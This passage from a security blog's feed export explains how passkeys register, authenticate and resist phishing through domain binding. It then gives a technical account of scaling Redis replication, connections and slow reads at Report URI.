     |                      |                           |</code></pre><p></p><p>You initiate the Passkey registration process in the browser and you will be prompted by your device or password manager to create a Passkey. You device will create the cryptographic key pair, sign the challenge provided by the website, and then return the signed challenge along with your public key, which is stored against your account. The private key is kept securely on your device. Now that Passkey registration is complete, you can then use your Passkey for authentication.</p><p></p><pre><code>User               Browser / OS              Website / Server
     |                      |                           |
     | 1. &quot;Sign in with passkey&quot;                        |
     |---------------------&gt;|                           |
     |                      | 2. Request authentication |
     |                      |--------------------------&gt;|
     |                      |                           | 
     |                      | 3. Send challenge         |
     |                      |&lt;--------------------------|
     |                      |                           |
     |                      | 4. Biometrics / PIN       |
     |                      | 5. Sign with private key  |
     |                      | 6. Return signed challenge|
     |                      |--------------------------&gt;|
     |                      |                           | 7. Verify signature
     |                      |                           |    using public key
     |                      | 8. Authentication successful
     |                      |&lt;--------------------------| 
     | 9. &quot;Signed in!&quot;      |                           |
     |&lt;---------------------|                           |</code></pre><p></p><p>When logging in to a website where you have registered a Passkey, you will usually have to initiate the process to sign in with your Passkey. In the background, your device will then start the authentication process and receive the challenge that needs to be signed with your private key. To do that, your device will ask for something like FaceID, TouchID, or similar on your device to authenticate you. Once you have authenticated to your device, it will sign the challenge with your private key and return it to the website. The website can then check it is definitely you by verifying that signature using your public key that it previously received, and then you&apos;re logged in! This is such a nice experience and has so little friction for the user, especially when you consider how strong this mechanism is.</p><p></p><h4 id="how-are-they-phishing-resistant">How are they phishing-resistant?</h4><p>When your device creates a Passkey, it doesn&apos;t just create and store the keys used, it also stores some important metadata too. The relevant part of that metadata that gives us phishing resistance is the Relying Part ID, or <code>rpId</code>. When you go to Report URI and register a Passkey on our website, the <code>rpId</code> will be saved with the Passkey on your device as <code>report-uri.com</code> and your device can then enforce that your new Passkey is only ever used on this domain or its subdomains. This means that if you end up on a phishing site that <em>looks</em> like Report URI, but isn&apos;t actually <code>report-uri.com</code>, the Passkey simply will not work. Take these examples that might make for convincing phishing pages:</p><p></p><pre><code>https://report-url.com               &lt;-- nope
    https://report-uri.secure-login.com  &lt;-- nope
    https://report-uri.xyz               &lt;-- nope</code></pre><p></p><p>The only way that your device will now use the Passkey to log you in is if you&apos;re on a valid website where the Passkey is allowed to be used, effectively neutralising the threat of phishing!</p><p></p><h4 id="how-are-they-being-used-on-report-uri">How are they being used on Report URI?</h4><p>There are two ways that you can use Passkeys on your website and they offer slightly different benefits.</p><p></p><ol><li>You can use Passkeys to replace passwords altogether, so they become your primary authentication mechanism. </li><li>You can use Passkeys as a 2FA mechanism alongside your existing username/password authentication.</li></ol><p></p><p>At Report URI we&apos;ve opted for option #2 and now offer Passkeys as a 2FA option alongside our existing TOTP 2FA offering. Passkeys make for an incredibly strong second-factor and our primary goal was to achieve the phishing resistance that Passkeys offer. Looking at option #1 is also a valid approach and there are other benefits too, mainly being able to get rid of passwords from your database and protect against password based attacks. Given our <em>extensive</em> measures to protect user passwords, it was less of a concern for us to move to using Passkeys as our primary authentication mechanism and instead we chose to introduce them as a 2FA mechanism. If you&apos;re interested in our approach to securing user passwords, you can read my <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">blog post that goes in to detail</a>, but here is a summary:</p><p></p><ol><li>We use the <a href="https://haveibeenpwned.com/API/v3?ref=scotthelme.ghost.io#PwnedPasswords" rel="noreferrer">Pwned Passwords API</a> to prevent the use of passwords that have previously been leaked.</li><li>We use zxcvbn to ensure the use of strong passwords when registering an account or changing password.</li><li>We provide extensive support for password managers using attributes on HTML form elements. </li><li>We store hashed passwords using bcrypt (work factor 10 + 128bit salt) so they are resistant to cracking. </li></ol><p></p><p>Passkeys are now available on the Settings page in your account and we <em>strongly</em> recommend that you go and enable them!</p><p>In the coming week, I will also be publishing two more blog posts. One of them is the full details of the external engagement to have our Passkeys implementation audited. We engaged a penetration testing company to come in and do a full test of our implementation to make absolutely sure it was rock solid. The blog post will contain the full, unredacted report with details of all findings. The second blog post will be the announcement of our whitepaper on Passkeys and the new security considerations they bring if you&apos;re planning to use them on your site. Make sure you&apos;re subscribed for notifications so you know when they go live!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[When “One in a Billion” Happens Every Day: Scaling Redis at Report URI]]></title>
                <description><![CDATA[<p>Something that I&apos;ve come to learn as we continue to grow <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> is that everything is easy until scale makes it hard. We&apos;re now processing so much telemetry that a &quot;one in a billion&quot; problem can happen every, single, day, and we&apos;</p>]]></description>
                <link>https://scotthelme.ghost.io/when-one-in-a-billion-happens-every-day-scaling-redis-at-report-uri/</link>
                <guid isPermaLink="false">69af4097fedfb90001b388b4</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Redis]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 24 Mar 2026 14:36:17 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI"><p>Something that I&apos;ve come to learn as we continue to grow <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> is that everything is easy until scale makes it hard. We&apos;re now processing so much telemetry that a &quot;one in a billion&quot; problem can happen every, single, day, and we&apos;ve had to make some significant improvements to our infrastructure to handle that whilst continuing to provide a reliable service!</p><p></p><h4 id="our-high-availability-redis-deployment">Our High-Availability Redis deployment</h4><p>I recently wrote <a href="https://scotthelme.co.uk/were-going-high-availability-with-redis-sentinel/?ref=scotthelme.ghost.io" rel="noreferrer">We&apos;re going High Availability with Redis Sentinel!</a> and you should start there if you&apos;d like to understand our setup with Redis and Sentinel. TLDR; we have four sentinels in front of two caches, the primary and replica, that handle our telemetry ingestion.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-2.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1000" height="785" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-2.png 1000w" sizes="(min-width: 720px) 720px"></figure><p></p><p>We moved to the HA setup to allow us more flexibility in upgrading the Redis server, changing available resources, and to add some much needed resilience, all using the failover process. All of that work has served us well and I published the linked blog post in Aug 2025, but it wasn&apos;t long before even this setup was showing the early signs of struggling. Wanting to get out ahead of any potential problems, we got to work.</p><p></p><h4 id="just-how-much-are-we-talking">Just how much are we talking?</h4><p>You can head over to our <a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io" rel="noreferrer">Global Telemetry Dashboard</a> which is publicly available and will answer that very question. At the time of writing, this is what our summary looks like:</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-9.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="847" height="318" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-9.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-9.png 847w" sizes="(min-width: 720px) 720px"></figure><p></p><p>You can look at data by day, week, or even month, get technical breakdowns of the traffic like HTTP version, TLS version, client type, and more.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-10.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="965" height="570" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-10.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-10.png 965w" sizes="(min-width: 720px) 720px"></figure><p></p><p>You can even check out our mesmerising <a href="https://dash.report-uri.com/pewpewmap/?ref=scotthelme.ghost.io" rel="noreferrer">PewPew Map</a> to view our inbound telemetry that runs live at 5 minutes behind real-time. But, enough about how much telemetry we&apos;re processing, let&apos;s get on to the &apos;how&apos;. </p><p></p><h4 id="identifying-opportunities-for-improvement">Identifying opportunities for improvement!</h4><p>Redis is a critical part of our infrastructure and we knew that more work was needed, so we sat down and came up with a list. Internally, we refer to these tickets as &apos;Mega Tickets&apos;, which signifies that they&apos;re going to be a parent ticket for a bunch of other tickets, and that there&apos;s going to be a lot of work involved!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-3.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="925" height="843" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-3.png 925w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Quite of a few of these tickets were pretty interesting changes, resulting in some really big performance gains. Some of these tickets are also the kind of thing where you say &quot;well, duh...&quot; after you read them, but all of this was working perfectly until it wasn&apos;t. Scale creeps up on you and makes things that were previously easy much more difficult.</p><p></p><h4 id="optimising-replication-for-smooth-failovers">Optimising replication for smooth failovers</h4><p>One of the main goals of introducing our High Availability setup with Redis Sentinel was so that we could gracefully failover between the primary and replica caches. This allows us to pull the primary out of use for updates, upgrades, maintenance, or if it fails and has an outage, automatically promoting the replica to the new primary to continue on. One issue that we had during failover testing was that the replica would fall a tiny fraction behind the primary on replication and when the replica was promoted to primary, rather than catching up on a small amount of data, it would instead trigger a full resync. This full sync of the dataset would hang inbound connections while processes sat around receiving the <code>LOADING</code> response from Redis, and occasionally the primary would get <code>oom</code> killed during the RDB sync. I became familiar with the copy-on-write semantic of the <code>fork()</code> sys call, which Redis uses for an RDB dump, during a <a href="https://scotthelme.co.uk/stronger-than-ever-how-we-turned-a-ddos-attack-into-a-lesson-in-resilience/?ref=scotthelme.ghost.io" rel="noreferrer">targeted attack</a> we were subjected to at the start of 2025. While <code>fork()</code> means the child process doesn&apos;t theoretically need to replicate all of the data in memory, if you have a highly volatile dataset like we do, it does! The question is, though, why is it doing a full RDB sync?!</p><p>Here&apos;s how Redis streams write commands from a primary to a replica:</p><p></p><pre><code>                &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;
                    &#x2502;                    PRIMARY                  &#x2502;
                    &#x2502;                                             &#x2502;
                    &#x2502; &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
    Writes from &#x2192;   &#x2502; &#x2502;   Command Stream (WRITE ops)  &#x2502;           &#x2502;
    applications &#x2500;&#x2500;&#x2500;&#x25B6;&#x2502;   (SET, HSET, INCR, etc.)     &#x2502;           &#x2502;
                    &#x2502; &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x252C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2502;            &#x2502;                                &#x2502;
                    &#x2502;            &#x25BC;                                &#x2502;
                    &#x2502;  &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
                    &#x2502;  &#x2502;   Replication Backlog (2 GB) &#x2502;&#x25C4;&#x2500;&#x2500;&#x2500;&#x2510;      &#x2502;
                    &#x2502;  &#x2502;  Circular buffer of last N B &#x2502;    &#x2502;      &#x2502;
                    &#x2502;  &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;    &#x2502;      &#x2502;
                    &#x2502;            &#x2502;                         &#x2502;      &#x2502;
                    &#x2502;            &#x2502;                         &#x2502;      &#x2502;
                    &#x2502;            &#x25BC;                         &#x2502;      &#x2502;
                    &#x2502;  &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;    &#x2502;      &#x2502;
                    &#x2502;  &#x2502; Replica Output Buffer (512MB)&#x2502;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;      &#x2502;
                    &#x2502;  &#x2502; per connected replica client &#x2502;           &#x2502;
                    &#x2502;  &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;
                                                  &#x2502;
                                                  &#x2502; TCP stream of write commands
                                                  &#x25BC;
                    &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;
                    &#x2502;                    REPLICA                  &#x2502;
                    &#x2502;                                             &#x2502;
                    &#x2502; &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
                    &#x2502; &#x2502;   Input buffer (from primary) &#x2502;           &#x2502;
                    &#x2502; &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x252C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2502;            &#x2502;                                &#x2502;
                    &#x2502;            &#x25BC;                                &#x2502;
                    &#x2502;  &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;           &#x2502;
                    &#x2502;  &#x2502; Apply to dataset in memory   &#x2502;           &#x2502;
                    &#x2502;  &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;           &#x2502;
                    &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;</code></pre><p></p><p>Redis only streams certain commands to the replica, those are the commands that change the dataset, so they&apos;re the only ones we need. These commands first flow into the Replication Backlog which is a circular buffer (ring buffer). Image a giant circle with the write commands being written clockwise around that circle and as the process continues, eventually you will just keep looping and overwriting yourself. The replicas are reading out of that buffer trying to keep up with the primary that is writing ahead of them. If the primary is writing faster than the replicas can read, the primary will &apos;overtake&apos; the replicas and then the replicas can no longer read that data from the buffer, requiring a full re-sync from the primary instead.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-6.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1369" height="887" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-6.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-6.png 1369w" sizes="(min-width: 720px) 720px"></figure><p></p><p>For each write that takes place in the buffer, there is an incrementing id value known as the <code>repl_offset</code>. A replica will keep track of the last id that it read so it can always know where it is up to in the buffer and come back for the next command, or determine if the buffer only contains commands that are too far ahead and it needs a full re-sync. Our default Replication Backlog (<code>repl-backlog-size</code>) was 64mb, which had been working well, but at the kind of throughputs we were now achieving on the cache, that gives us 4-5 seconds worth of history in the buffer. This means that if a replica loses contact for more than 5 seconds, when it comes back and tries to &apos;catch up&apos; using the Replication Backlog, it can&apos;t, and requests a full re-sync from the primary. Increasing the memory resources on our servers and bumping the <code>repl-backlog-size</code> to 2GB gave us considerably more overhead and our Replication Backlog now means that a replica can be taken out of service for updates and a reboot, whilst still making it back in time to catch up using the Replication Backlog. This allows us to avoid the need for full resyncs and massively improves the efficiency of the failover process.</p><p></p><h4 id="persisting-connections-to-save-on-overheads">Persisting connections to save on overheads</h4><p>Our ingestion servers can be processing thousands of telemetry events per second and after processing, the first place they land is in the Redis cache. This means that our ingestion servers, along with our sentinels and other servers, can be making thousands of connections per second to Redis. Here is a quiet time of day when we&apos;re handling almost 1,500 connections/second to Redis.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-7.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1103" height="555" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-7.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-7.png 1103w" sizes="(min-width: 720px) 720px"></figure><p></p><p>That&apos;s a lot of overhead in creating and destroying so many connections, but this is the result of using <code>connect()</code> in <code>phpredis</code>. Each connection only exists for the duration of the current request because the socket is tied to the request and will be closed when the request ends. The connection will then be fired up again in, most likely, just a few milliseconds when the next request arrives...</p><p>Switching to <code>pconnect()</code> seems like an obvious win here, but it does require some careful consideration. Instead of the socket being tied to the request, it would now be held by the PHP-FPM worker process, allowing for a much longer life and, importantly, re-use across many requests. This is great, because we avoid all of the overheads of setting up and tearing down the connection on each request, but, we&apos;re now going to have sockets held open for much longer, which means more connections open at any given time. This would most likely be an issue on the primary Redis server which will have connections held open from our ingestion servers, consumer servers, the sentinels, the replica, and so on. Would it be able to sustain so many long-lived connections? We ran the maths on this, allowed for a lot of error, and decided that our Redis server was capable of handling it, so we deployed the change.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-8.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1103" height="552" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-8.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-8.png 1103w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Almost immediately the number of new connections being made to Redis plummeted and the number of clients connected skyrocketed. Because a typical PHP-FPM worker can process 3,600 inbound requests (<code>pm.max_requests = 3600</code>) we&apos;re saving 3,599 connections to Redis for every 3,600 inbound telemetry events that we process, which is quite the significant saving! This also reduced the processing time of each request on our ingestion servers because the Redis connection is most likely already setup and waiting, so we&apos;re saving that overhead on each request too. The final consideration was then that a process could connect to the primary, and a failover could happen after the connection was established, meaning you&apos;re now connected to the replica. In this case you will get a <code>READONLY</code> exception if you try to write or change data and simply need to hit the Sentinels again to reconnect to the new primary and retry the same request again.</p><p></p><h4 id="avoiding-large-reads-that-take-too-long">Avoiding large reads that take too long</h4><p>As Redis is single-threaded, at least on the main command processing pathway, having any single operation that keeps that thread busy for prolonged periods of time is a Very Bad Idea (TM). Our Sentinels will determine if the primary Redis cache is available by sending requests and waiting for an answer, but if you can keep Redis busy for too long, the Sentinels can determine it&apos;s not available and trigger a failover. We saw some failovers that seemed to have no explanation in terms of the cache being unavailable, yet they happened anyway. In the end we turned to <code>SLOWLOG</code> to see if we could explain what might make Redis look like it wasn&apos;t available, and we found the culprit.</p><p>In our telemetry processing pipeline, all events pass through Redis and are gathered in a hash, ready for a consumer to come along and pull a batch of events to process them into the database (Azure Table Storage). To do this, these consumer servers will call <code>hGetAll()</code> to grab the content of the hash and then delete it from Redis, and this is where things were going wrong. </p><p></p><pre><code> 1) 1) (integer) 6436
        2) (integer) 1762833603
        3) (integer) 1049238
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-1969791144&quot;
        5) &quot;snip:34018&quot;
        6) &quot;&quot;
     2) 1) (integer) 6435
        2) (integer) 1762833423
        3) (integer) 1005244
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-533592971&quot;
        5) &quot;snip:54284&quot;
        6) &quot;&quot;
     3) 1) (integer) 6434
        2) (integer) 1762833063
        3) (integer) 1072218
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-383568749&quot;
        5) &quot;snip:47118&quot;
        6) &quot;&quot;
     4) 1) (integer) 6433
        2) (integer) 1762833003
        3) (integer) 1073379
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-1518767320&quot;
        5) &quot;snip:36282&quot;
        6) &quot;&quot;
     5) 1) (integer) 6432
        2) (integer) 1762832822
        3) (integer) 1002085
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-367184566&quot;
        5) &quot;snip:60828&quot;
        6) &quot;&quot;</code></pre><p></p><p>There&apos;s a <code>hGetAll()</code> call in there that took 1,073,379&#x3BC;s, which is almost 1.1 seconds, to complete! These <code>SLOWLOG</code> entries were also taken during a relatively quiet period for us and, given our consumer servers pull on a regular cadence, a high volume of inbound telemetry would mean more data to fetch in the <code>hGetAll()</code> and a longer time to complete as a result.</p><p>To remove this long blocking call we migrated from <code>hGetAll()</code> to <code>hScan()</code> instead, and using a <code>Generator</code> in PHP we can now progressively read back the content of the hash allowing for other commands to run between <code>hScan()</code> calls. We&apos;re currently capping the length of a <code>hScan()</code> call to ~500,000&#x3BC;s (500ms) so that we&apos;re never keeping the main process busy for too long.</p><p></p><pre><code> 1) 1) (integer) 5957
        2) (integer) 1763047503
        3) (integer) 599277
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-775261748&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:52516&quot;
        6) &quot;&quot;
     2) 1) (integer) 5956
        2) (integer) 1763047382
        3) (integer) 575907
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-991577969&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:42706&quot;
        6) &quot;&quot;
     3) 1) (integer) 5955
        2) (integer) 1763047321
        3) (integer) 546641
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-1663792648&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:39818&quot;
        6) &quot;&quot;
     4) 1) (integer) 5954
        2) (integer) 1763047262
        3) (integer) 563350
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-903905420&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:50746&quot;
        6) &quot;&quot;
     5) 1) (integer) 5953
        2) (integer) 1763047201
        3) (integer) 609534
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-1690091359&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:49308&quot;
        6) &quot;&quot;</code></pre><p></p><p>This also made our Redis resource graphs much more smooth by removing some of the huge peaks caused by these reads and also stopped other clients stalling out for brief periods when the main thread was busy. Overall, a nice improvement.</p><p></p><h4 id="add-more-cloud">Add more cloud</h4><p>You can solve a lot of problems by throwing more money at them, but we tend to hold out and only use this as a last resort when it&apos;s the proper solution to a problem. The Redis caches that handle our inbound telemetry are doing a lot of work for us, and despite all of our optimisations, we arrived at the conclusion that they needed more resources. The Sentinel servers have been doing awesome and will probably be able to cope for the foreseeable future, especially after the <code>pconnect()</code> upgrade significantly reduced the load on them, but our main caches did get an upgrade.</p><p></p><pre><code>redis-report-cache-primary
    in Report URI / 16 GB Memory / 4 Intel vCPUs / 160 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-replica
    in Report URI / 16 GB Memory / 4 Intel vCPUs / 160 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-01
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-02
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
